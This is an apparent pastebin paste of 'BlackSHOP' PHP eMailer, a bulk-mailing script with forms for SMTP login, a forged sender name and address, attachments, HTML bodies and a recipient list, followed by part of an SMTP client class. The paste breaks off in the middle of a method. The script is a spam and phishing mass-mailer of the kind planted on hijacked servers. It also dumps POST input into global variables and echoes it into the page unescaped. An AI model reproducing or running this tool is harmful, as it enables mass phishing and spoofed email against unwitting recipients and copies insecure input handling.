· 8 years ago · Apr 18, 2018, 09:04 PM
1<?
2function query_str($params){
3$str = '';
4foreach ($params as $key => $value) {
5$str .= (strlen($str) < 1) ? '' : '&';
6$str .= $key . '=' . rawurlencode($value);
7}
8return ($str);
9}
10function lrtrim($string){
11return stripslashes(ltrim(rtrim($string)));
12}
13if(isset($_POST['action'] ) ){
14
15$b = query_str($_POST);
16parse_str($b);
17$sslclick=lrtrim($sslclick);
18$action=lrtrim($action);
19$message=lrtrim($message);
20$emaillist=lrtrim($emaillist);
21$from=lrtrim($from);
22$reconnect=lrtrim($reconnect);
23$epriority=lrtrim($epriority);
24$my_smtp=lrtrim($my_smtp);
25$ssl_port=lrtrim($ssl_port);
26$smtp_username=lrtrim($smtp_username);
27$smtp_password=lrtrim($smtp_password);
28$replyto=lrtrim($replyto);
29$subject=lrtrim($subject);
30$realname=lrtrim($realname);
31$file_name=$_FILES['file']['name'];
32$file=$_FILES['file']['tmp_name'];
33$urlz=lrtrim($urlz);
34$contenttype=lrtrim($contenttype);
35
36 $message = urlencode($message);
37 $message = ereg_replace("%5C%22", "%22", $message);
38 $message = urldecode($message);
39 $message = stripslashes($message);
40 $subject = stripslashes($subject);
41}
42?>
43
44<html>
45
46<head>
47
48<title>BlackSHOP</title>
49
50<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
51
52<style type="text/css">
53<!--
54.style1 {
55 font-family: Geneva, Arial, Helvetica, sans-serif;
56 font-size: 12px;
57}
58-->
59</style>
60<style type="text/css">
61<!--
62.style1 {
63 font-size: 10px;
64 font-family: Geneva, Arial, Helvetica, sans-serif;
65}
66-->
67</style>
68</head>
69<body bgcolor="#FFFFFF" text="#000000">
70<span class="style1">PHP eMailer is created by BlackSHOP<br>
71brought to you by <font color=\"#800000\">http://www.BlackSHOP.cc/</font></span>
72<form name="form1" method="post" action="" enctype="multipart/form-data">
73
74 <br>
75
76 <table width="100%" border="0" height="407">
77
78 <tr>
79
80 <td width="100%" colspan="4" bgcolor="#666666" height="36">
81
82 <b>
83
84 <font face="Arial" size="2" color="#FFFFFF"> SMTP SETUP</font></b></td>
85
86 </tr>
87 <tr>
88
89 <td width="10%" height="22" bgcolor="#E8E8E8">
90
91 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
92
93 </td>
94
95 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
96
97 <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
98
99 </font></td>
100
101 <td width="31%" height="22" bgcolor="#E8E8E8">
102
103 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
104
105 </td>
106
107 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
108
109 <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
110
111 </font></td>
112
113 </tr>
114 <tr>
115
116 <td width="10%" height="22" bgcolor="#E8E8E8">
117
118 <div align="right">
119 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
120
121 </td>
122
123 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
124
125 <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
126 (optional)</font></td>
127
128 <td width="31%" height="22" bgcolor="#E8E8E8">
129
130 <div align="right">
131 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
132 Smtp:</font></div>
133
134 </td>
135
136 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
137
138 <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
139
140 </font></td>
141
142 </tr>
143 <tr>
144
145 <td width="10%" height="22" bgcolor="#E8E8E8">
146
147 <p align="right">
148 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
149
150 <td width="18%" height="22" bgcolor="#E8E8E8">
151 <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
152
153 <td width="31%" height="22" bgcolor="#E8E8E8">
154
155 <p align="right">
156 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
157 After:</font></td>
158
159 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
160
161 <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
162 EMAILS</font></td>
163
164 </tr>
165 <tr>
166
167 <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
168
169 <p align="center">
170 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
171 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
172
173 </tr>
174
175 <tr>
176
177 <td width="10%" height="19">
178
179 </td>
180
181 <td width="18%" height="19"> </td>
182
183 <td width="31%" height="19">
184
185 </td>
186
187 <td width="41%" height="19"> </td>
188
189 </tr>
190
191 <tr>
192
193 <td width="100%" colspan="4" bgcolor="#666666" height="36">
194
195 <b>
196
197 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
198
199 </tr>
200 <tr>
201
202 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
203 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
204 </td>
205
206 <td width="59%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8" colSpan="3">
207 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
208
209<input type="file" name="file" size="124">
210
211 </font></td>
212
213 </tr>
214 <tr>
215
216 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
217
218 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
219
220 Email:</font></div>
221
222 </td>
223
224 <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
225
226 <input type="text" name="from" value="<?=$from;?>" size="30">
227
228 </font></td>
229
230 <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
231
232 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
233
234 Name:</font></div>
235
236 </td>
237
238 <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
239
240 <input type="text" name="realname" value="<?=$realname;?>" size="30">
241
242 </font></td>
243
244 </tr>
245 <tr>
246
247 <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
248
249 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
250
251 </td>
252
253 <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
254
255 <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
256
257 </font></td>
258
259 <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
260
261 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
262 Email Priority:</font></td>
263
264 <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
265
266 </font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
267 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
268 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
269 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
270 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
271 </select></td>
272
273 </tr>
274
275 <tr>
276
277 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
278
279 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
280
281 </td>
282
283 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
284
285 <input type="text" name="subject" value="<?=$subject;?>" size="90">
286
287 </font></td>
288
289 </tr>
290
291 <tr>
292
293 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
294
295 </td>
296
297 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
298
299 </font></td>
300
301 </tr>
302
303 <tr valign="top">
304
305<td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
306
307 <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
308
309 <br>
310
311 <input type="radio" name="contenttype" value="plain" >
312
313 Plain
314
315 <input type="radio" name="contenttype" value="html" checked>
316
317 HTML
318
319 <input type="hidden" name="action" value="send">
320
321 <input type="submit" value="Send Message">
322
323 </font></td>
324
325 <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
326
327 <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
328
329 </font></td>
330
331 </tr>
332
333 </table>
334
335</form>
336
337
338
339<?
340
341if ($action){
342 if (!$from && !$subject && !$message && !$emaillist){
343 print "<script>alert('Please complete all fields before sending your message.'); </script>";
344 die(); }
345
346class SMTP
347{
348 /**
349 * SMTP server port
350 * @var int
351 */
352 var $SMTP_PORT = 25;
353
354 /**
355 * SMTP reply line ending
356 * @var string
357 */
358 var $CRLF = "\r\n";
359
360 /**
361 * Sets whether debugging is turned on
362 * @var bool
363 */
364 var $do_debug; # the level of debug to perform
365
366 /**
367 * Sets VERP use on/off (default is off)
368 * @var bool
369 */
370 var $do_verp = false;
371
372 /**#@+
373 * @access private
374 */
375 var $smtp_conn; # the socket to the server
376 var $error; # error if any on the last call
377 var $helo_rply; # the reply the server sent to us for HELO
378 /**#@-*/
379
380 /**
381 * Initialize the class so that the data is in a known state.
382 * @access public
383 * @return void
384 */
385 function SMTP() {
386 $this->smtp_conn = 0;
387 $this->error = null;
388 $this->helo_rply = null;
389
390 $this->do_debug = 0;
391 }
392
393 /*************************************************************
394 * CONNECTION FUNCTIONS *
395 ***********************************************************/
396
397 /**
398 * Connect to the server specified on the port specified.
399 * If the port is not specified use the default SMTP_PORT.
400 * If tval is specified then a connection will try and be
401 * established with the server for that number of seconds.
402 * If tval is not specified the default is 30 seconds to
403 * try on the connection.
404 *
405 * SMTP CODE SUCCESS: 220
406 * SMTP CODE FAILURE: 421
407 * @access public
408 * @return bool
409 */
410 function Connect($host,$port=0,$tval=30) {
411 # set the error val to null so there is no confusion
412 $this->error = null;
413
414 # make sure we are __not__ connected
415 if($this->connected()) {
416 # ok we are connected! what should we do?
417 # for now we will just give an error saying we
418 # are already connected
419 $this->error = array("error" => "Already connected to a server");
420 return false;
421 }
422
423 if(empty($port)) {
424 $port = $this->SMTP_PORT;
425 }
426
427 #connect to the smtp server
428 $this->smtp_conn = fsockopen($host, # the host of the server
429 $port, # the port to use
430 $errno, # error number if any
431 $errstr, # error message if any
432 $tval); # give up after ? secs
433 # verify we connected properly
434 if(empty($this->smtp_conn)) {
435 $this->error = array("error" => "Failed to connect to server",
436 "errno" => $errno,
437 "errstr" => $errstr);
438 if($this->do_debug >= 1) {
439 echo "SMTP -> ERROR: " . $this->error["error"] .
440 ": $errstr ($errno)" . $this->CRLF;
441 }
442 return false;
443 }
444
445 # sometimes the SMTP server takes a little longer to respond
446 # so we will give it a longer timeout for the first read
447 // Windows still does not have support for this timeout function
448 if(substr(PHP_OS, 0, 3) != "WIN")
449 socket_set_timeout($this->smtp_conn, $tval, 0);
450
451 # get any announcement stuff
452 $announce = $this->get_lines();
453
454 # set the timeout of any socket functions at 1/10 of a second
455 //if(function_exists("socket_set_timeout"))
456 // socket_set_timeout($this->smtp_conn, 0, 100000);
457
458 if($this->do_debug >= 2) {
459 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
460 }
461
462 return true;
463 }
464
465 /**
466 * Performs SMTP authentication. Must be run after running the
467 * Hello() method. Returns true if successfully authenticated.
468 * @access public
469 * @return bool
470 */
471 function Authenticate($username, $password) {
472 // Start authentication
473 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
474
475 $rply = $this->get_lines();
476 $code = substr($rply,0,3);
477
478 if($code != 334) {
479 $this->error =
480 array("error" => "AUTH not accepted from server",
481 "smtp_code" => $code,
482 "smtp_msg" => substr($rply,4));
483 if($this->do_debug >= 1) {
484 echo "SMTP -> ERROR: " . $this->error["error"] .
485 ": " . $rply . $this->CRLF;
486 }
487 return false;
488 }
489
490 // Send encoded username
491 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
492
493 $rply = $this->get_lines();
494 $code = substr($rply,0,3);
495
496 if($code != 334) {
497 $this->error =
498 array("error" => "Username not accepted from server",
499 "smtp_code" => $code,
500 "smtp_msg" => substr($rply,4));
501 if($this->do_debug >= 1) {
502 echo "SMTP -> ERROR: " . $this->error["error"] .
503 ": " . $rply . $this->CRLF;
504 }
505 return false;
506 }
507
508 // Send encoded password
509 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
510
511 $rply = $this->get_lines();
512 $code = substr($rply,0,3);
513
514 if($code != 235) {
515 $this->error =
516 array("error" => "Password not accepted from server",
517 "smtp_code" => $code,
518 "smtp_msg" => substr($rply,4));
519 if($this->do_debug >= 1) {
520 echo "SMTP -> ERROR: " . $this->error["error"] .
521 ": " . $rply . $this->CRLF;
522 }
523 return false;
524 }
525
526 return true;
527 }
528
529 /**
530 * Returns true if connected to a server otherwise false
531 * @access private
532 * @return bool
533 */
534 function Connected() {
535 if(!empty($this->smtp_conn)) {
536 $sock_status = socket_get_status($this->smtp_conn);
537 if($sock_status["eof"]) {
538 # hmm this is an odd situation... the socket is
539 # valid but we are not connected anymore
540 if($this->do_debug >= 1) {
541 echo "SMTP -> NOTICE:" . $this->CRLF .
542 "EOF caught while checking if connected";
543 }
544 $this->Close();
545 return false;
546 }
547 return true; # everything looks good
548 }
549 return false;
550 }
551
552 /**
553 * Closes the socket and cleans up the state of the class.
554 * It is not considered good to use this function without
555 * first trying to use QUIT.
556 * @access public
557 * @return void
558 */
559 function Close() {
560 $this->error = null; # so there is no confusion
561 $this->helo_rply = null;
562 if(!empty($this->smtp_conn)) {
563 # close the connection and cleanup
564 fclose($this->smtp_conn);
565 $this->smtp_conn = 0;
566 }
567 }
568
569 /***************************************************************
570 * SMTP COMMANDS *
571 *************************************************************/
572
573 /**
574 * Issues a data command and sends the msg_data to the server
575 * finializing the mail transaction. $msg_data is the message
576 * that is to be send with the headers. Each header needs to be
577 * on a single line followed by a <CRLF> with the message headers
578 * and the message body being seperated by and additional <CRLF>.
579 *
580 * Implements rfc 821: DATA <CRLF>
581 *
582 * SMTP CODE INTERMEDIATE: 354
583 * [data]
584 * <CRLF>.<CRLF>
585 * SMTP CODE SUCCESS: 250
586 * SMTP CODE FAILURE: 552,554,451,452
587 * SMTP CODE FAILURE: 451,554
588 * SMTP CODE ERROR : 500,501,503,421
589 * @access public
590 * @return bool
591 */
592 function Data($msg_data) {
593 $this->error = null; # so no confusion is caused
594
595 if(!$this->connected()) {
596 $this->error = array(
597 "error" => "Called Data() without being connected");
598 return false;
599 }
600
601 fputs($this->smtp_conn,"DATA" . $this->CRLF);
602
603 $rply = $this->get_lines();
604 $code = substr($rply,0,3);
605
606 if($this->do_debug >= 2) {
607 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
608 }
609
610 if($code != 354) {
611 $this->error =
612 array("error" => "DATA command not accepted from server",
613 "smtp_code" => $code,
614 "smtp_msg" => substr($rply,4));
615 if($this->do_debug >= 1) {
616 echo "SMTP -> ERROR: " . $this->error["error"] .
617 ": " . $rply . $this->CRLF;
618 }
619 return false;
620 }
621
622 # the server is ready to accept data!
623 # according to rfc 821 we should not send more than 1000
624 # including the CRLF
625 # characters on a single line so we will break the data up
626 # into lines by \r and/or \n then if needed we will break
627 # each of those into smaller lines to fit within the limit.
628 # in addition we will be looking for lines that start with
629 # a period '.' and append and additional period '.' to that
630 # line. NOTE: this does not count towards are limit.
631
632 # normalize the line breaks so we know the explode works
633 $msg_data = str_replace("\r\n","\n",$msg_data);
634 $msg_data = str_replace("\r","\n",$msg_data);
635 $lines = explode("\n",$msg_data);
636
637 # we need to find a good way to determine is headers are
638 # in the msg_data or if it is a straight msg body
639 # currently I am assuming rfc 822 definitions of msg headers
640 # and if the first field of the first line (':' sperated)
641 # does not contain a space then it _should_ be a header
642 # and we can process all lines before a blank "" line as
643 # headers.
644 $field = substr($lines[0],0,strpos($lines[0],":"));
645 $in_headers = false;
646 if(!empty($field) && !strstr($field," ")) {
647 $in_headers = true;
648 }
649
650 $max_line_length = 998; # used below; set here for ease in change
651
652 while(list(,$line) = @each($lines)) {
653 $lines_out = null;
654 if($line == "" && $in_headers) {
655 $in_headers = false;
656 }
657 # ok we need to break this line up into several
658 # smaller lines
659 while(strlen($line) > $max_line_length) {
660 $pos = strrpos(substr($line,0,$max_line_length)," ");
661
662 # Patch to fix DOS attack
663 if(!$pos) {
664 $pos = $max_line_length - 1;
665 }
666
667 $lines_out[] = substr($line,0,$pos);
668 $line = substr($line,$pos + 1);
669 # if we are processing headers we need to
670 # add a LWSP-char to the front of the new line
671 # rfc 822 on long msg headers
672 if($in_headers) {
673 $line = "\t" . $line;
674 }
675 }
676 $lines_out[] = $line;
677
678 # now send the lines to the server
679 while(list(,$line_out) = @each($lines_out)) {
680 if(strlen($line_out) > 0)
681 {
682 if(substr($line_out, 0, 1) == ".") {
683 $line_out = "." . $line_out;
684 }
685 }
686 fputs($this->smtp_conn,$line_out . $this->CRLF);
687 }
688 }
689
690 # ok all the message data has been sent so lets get this
691 # over with aleady
692 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
693
694 $rply = $this->get_lines();
695 $code = substr($rply,0,3);
696
697 if($this->do_debug >= 2) {
698 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
699 }
700
701 if($code != 250) {
702 $this->error =
703 array("error" => "DATA not accepted from server",
704 "smtp_code" => $code,
705 "smtp_msg" => substr($rply,4));
706 if($this->do_debug >= 1) {
707 echo "SMTP -> ERROR: " . $this->error["error"] .
708 ": " . $rply . $this->CRLF;
709 }
710 return false;
711 }
712 return true;
713 }
714
715 /**
716 * Expand takes the name and asks the server to list all the
717 * people who are members of the _list_. Expand will return
718 * back and array of the result or false if an error occurs.
719 * Each value in the array returned has the format of:
720 * [ <full-name> <sp> ] <path>
721 * The definition of <path> is defined in rfc 821
722 *
723 * Implements rfc 821: EXPN <SP> <string> <CRLF>
724 *
725 * SMTP CODE SUCCESS: 250
726 * SMTP CODE FAILURE: 550
727 * SMTP CODE ERROR : 500,501,502,504,421
728 * @access public
729 * @return string array
730 */
731 function Expand($name) {
732 $this->error = null; # so no confusion is caused
733
734 if(!$this->connected()) {
735 $this->error = array(
736 "error" => "Called Expand() without being connected");
737 return false;
738 }
739
740 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
741
742 $rply = $this->get_lines();
743 $code = substr($rply,0,3);
744
745 if($this->do_debug >= 2) {
746 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
747 }
748
749 if($code != 250) {
750 $this->error =
751 array("error" => "EXPN not accepted from server",
752 "smtp_code" => $code,
753 "smtp_msg" => substr($rply,4));
754 if($this->do_debug >= 1) {
755 echo "SMTP -> ERROR: " . $this->error["error"] .
756 ": " . $rply . $this->CRLF;
757 }
758 return false;
759 }
760
761 # parse the reply and place in our array to return to user
762 $entries = explode($this->CRLF,$rply);
763 while(list(,$l) = @each($entries)) {
764 $list[] = substr($l,4);
765 }
766
767 return $list;
768 }
769
770 /**
771 * Sends the HELO command to the smtp server.
772 * This makes sure that we and the server are in
773 * the same known state.
774 *
775 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
776 *
777 * SMTP CODE SUCCESS: 250
778 * SMTP CODE ERROR : 500, 501, 504, 421
779 * @access public
780 * @return bool
781 */
782 function Hello($host="") {
783 $this->error = null; # so no confusion is caused
784
785 if(!$this->connected()) {
786 $this->error = array(
787 "error" => "Called Hello() without being connected");
788 return false;
789 }
790
791 # if a hostname for the HELO was not specified determine
792 # a suitable one to send
793 if(empty($host)) {
794 # we need to determine some sort of appopiate default
795 # to send to the server
796 $host = "localhost";
797 }
798
799 // Send extended hello first (RFC 2821)
800 if(!$this->SendHello("EHLO", $host))
801 {
802 if(!$this->SendHello("HELO", $host))
803 return false;
804 }
805
806 return true;
807 }
808
809 /**
810 * Sends a HELO/EHLO command.
811 * @access private
812 * @return bool
813 */
814 function SendHello($hello, $host) {
815 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
816
817 $rply = $this->get_lines();
818 $code = substr($rply,0,3);
819
820 if($this->do_debug >= 2) {
821 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
822 }
823
824 if($code != 250) {
825 $this->error =
826 array("error" => $hello . " not accepted from server",
827 "smtp_code" => $code,
828 "smtp_msg" => substr($rply,4));
829 if($this->do_debug >= 1) {
830 echo "SMTP -> ERROR: " . $this->error["error"] .
831 ": " . $rply . $this->CRLF;
832 }
833 return false;
834 }
835
836 $this->helo_rply = $rply;
837
838 return true;
839 }
840
841 /**
842 * Gets help information on the keyword specified. If the keyword
843 * is not specified then returns generic help, ussually contianing
844 * A list of keywords that help is available on. This function
845 * returns the results back to the user. It is up to the user to
846 * handle the returned data. If an error occurs then false is
847 * returned with $this->error set appropiately.
848 *
849 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
850 *
851 * SMTP CODE SUCCESS: 211,214
852 * SMTP CODE ERROR : 500,501,502,504,421
853 * @access public
854 * @return string
855 */
856 function Help($keyword="") {
857 $this->error = null; # to avoid confusion
858
859 if(!$this->connected()) {
860 $this->error = array(
861 "error" => "Called Help() without being connected");
862 return false;
863 }
864
865 $extra = "";
866 if(!empty($keyword)) {
867 $extra = " " . $keyword;
868 }
869
870 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
871
872 $rply = $this->get_lines();
873 $code = substr($rply,0,3);
874
875 if($this->do_debug >= 2) {
876 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
877 }
878
879 if($code != 211 && $code != 214) {
880 $this->error =
881 array("error" => "HELP not accepted from server",
882 "smtp_code" => $code,
883 "smtp_msg" => substr($rply,4));
884 if($this->do_debug >= 1) {
885 echo "SMTP -> ERROR: " . $this->error["error"] .
886 ": " . $rply . $this->CRLF;
887 }
888 return false;
889 }
890
891 return $rply;
892 }
893
894 /**
895 * Starts a mail transaction from the email address specified in
896 * $from. Returns true if successful or false otherwise. If True
897 * the mail transaction is started and then one or more Recipient
898 * commands may be called followed by a Data command.
899 *
900 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
901 *
902 * SMTP CODE SUCCESS: 250
903 * SMTP CODE SUCCESS: 552,451,452
904 * SMTP CODE SUCCESS: 500,501,421
905 * @access public
906 * @return bool
907 */
908 function Mail($from) {
909 $this->error = null; # so no confusion is caused
910
911 if(!$this->connected()) {
912 $this->error = array(
913 "error" => "Called Mail() without being connected");
914 return false;
915 }
916
917 $useVerp = ($this->do_verp ? "XVERP" : "");
918 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
919
920 $rply = $this->get_lines();
921 $code = substr($rply,0,3);
922
923 if($this->do_debug >= 2) {
924 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
925 }
926
927 if($code != 250) {
928 $this->error =
929 array("error" => "MAIL not accepted from server",
930 "smtp_code" => $code,
931 "smtp_msg" => substr($rply,4));
932 if($this->do_debug >= 1) {
933 echo "SMTP -> ERROR: " . $this->error["error"] .
934 ": " . $rply . $this->CRLF;
935 }
936 return false;
937 }
938 return true;
939 }
940
941 /**
942 * Sends the command NOOP to the SMTP server.
943 *
944 * Implements from rfc 821: NOOP <CRLF>
945 *
946 * SMTP CODE SUCCESS: 250
947 * SMTP CODE ERROR : 500, 421
948 * @access public
949 * @return bool
950 */
951 function Noop() {
952 $this->error = null; # so no confusion is caused
953
954 if(!$this->connected()) {
955 $this->error = array(
956 "error" => "Called Noop() without being connected");
957 return false;
958 }
959
960 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
961
962 $rply = $this->get_lines();
963 $code = substr($rply,0,3);
964
965 if($this->do_debug >= 2) {
966 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
967 }
968
969 if($code != 250) {
970 $this->error =
971 array("error" => "NOOP not accepted from server",
972 "smtp_code" => $code,
973 "smtp_msg" => substr($rply,4));
974 if($this->do_debug >= 1) {
975 echo "SMTP -> ERROR: " . $this->error["error"] .
976 ": " . $rply . $this->CRLF;
977 }
978 return false;
979 }
980 return true;
981 }
982
983 /**
984 * Sends the quit command to the server and then closes the socket
985 * if there is no error or the $close_on_error argument is true.
986 *
987 * Implements from rfc 821: QUIT <CRLF>
988 *
989 * SMTP CODE SUCCESS: 221
990 * SMTP CODE ERROR : 500
991 * @access public
992 * @return bool
993 */
994 function Quit($close_on_error=true) {
995 $this->error = null; # so there is no confusion
996
997 if(!$this->connected()) {
998 $this->error = array(
999 "error" => "Called Quit() without being connected");
1000 return false;
1001 }
1002
1003 # send the quit command to the server
1004 fputs($this->smtp_conn,"quit" . $this->CRLF);
1005
1006 # get any good-bye messages
1007 $byemsg = $this->get_lines();
1008
1009 if($this->do_debug >= 2) {
1010 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1011 }
1012
1013 $rval = true;
1014 $e = null;
1015
1016 $code = substr($byemsg,0,3);
1017 if($code != 221) {
1018 # use e as a tmp var cause Close will overwrite $this->error
1019 $e = array("error" => "SMTP server rejected quit command",
1020 "smtp_code" => $code,
1021 "smtp_rply" => substr($byemsg,4));
1022 $rval = false;
1023 if($this->do_debug >= 1) {
1024 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1025 $byemsg . $this->CRLF;
1026 }
1027 }
1028
1029 if(empty($e) || $close_on_error) {
1030 $this->Close();
1031 }
1032
1033 return $rval;
1034 }
1035
1036 /**
1037 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1038 * Returns true if the recipient was accepted false if it was rejected.
1039 *
1040 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1041 *
1042 * SMTP CODE SUCCESS: 250,251
1043 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1044 * SMTP CODE ERROR : 500,501,503,421
1045 * @access public
1046 * @return bool
1047 */
1048 function Recipient($to) {
1049 $this->error = null; # so no confusion is caused
1050
1051 if(!$this->connected()) {
1052 $this->error = array(
1053 "error" => "Called Recipient() without being connected");
1054 return false;
1055 }
1056
1057 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1058
1059 $rply = $this->get_lines();
1060 $code = substr($rply,0,3);
1061
1062 if($this->do_debug >= 2) {
1063 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1064 }
1065
1066 if($code != 250 && $code != 251) {
1067 $this->error =
1068 array("error" => "RCPT not accepted from server",
1069 "smtp_code" => $code,
1070 "smtp_msg" => substr($rply,4));
1071 if($this->do_debug >= 1) {
1072 echo "SMTP -> ERROR: " . $this->error["error"] .
1073 ": " . $rply . $this->CRLF;
1074 }
1075 return false;
1076 }
1077 return true;
1078 }
1079
1080 /**
1081 * Sends the RSET command to abort and transaction that is
1082 * currently in progress. Returns true if successful false
1083 * otherwise.
1084 *
1085 * Implements rfc 821: RSET <CRLF>
1086 *
1087 * SMTP CODE SUCCESS: 250
1088 * SMTP CODE ERROR : 500,501,504,421
1089 * @access public
1090 * @return bool
1091 */
1092 function Reset() {
1093 $this->error = null; # so no confusion is caused
1094
1095 if(!$this->connected()) {
1096 $this->error = array(
1097 "error" => "Called Reset() without being connected");
1098 return false;
1099 }
1100
1101 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1102
1103 $rply = $this->get_lines();
1104 $code = substr($rply,0,3);
1105
1106 if($this->do_debug >= 2) {
1107 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1108 }
1109
1110 if($code != 250) {
1111 $this->error =
1112 array("error" => "RSET failed",
1113 "smtp_code" => $code,
1114 "smtp_msg" => substr($rply,4));
1115 if($this->do_debug >= 1) {
1116 echo "SMTP -> ERROR: " . $this->error["error"] .
1117 ": " . $rply . $this->CRLF;
1118 }
1119 return false;
1120 }
1121
1122 return true;
1123 }
1124
1125 /**
1126 * Starts a mail transaction from the email address specified in
1127 * $from. Returns true if successful or false otherwise. If True
1128 * the mail transaction is started and then one or more Recipient
1129 * commands may be called followed by a Data command. This command
1130 * will send the message to the users terminal if they are logged
1131 * in.
1132 *
1133 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1134 *
1135 * SMTP CODE SUCCESS: 250
1136 * SMTP CODE SUCCESS: 552,451,452
1137 * SMTP CODE SUCCESS: 500,501,502,421
1138 * @access public
1139 * @return bool
1140 */
1141 function Send($from) {
1142 $this->error = null; # so no confusion is caused
1143
1144 if(!$this->connected()) {
1145 $this->error = array(
1146 "error" => "Called Send() without being connected");
1147 return false;
1148 }
1149
1150 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1151
1152 $rply = $this->get_lines();
1153 $code = substr($rply,0,3);
1154
1155 if($this->do_debug >= 2) {
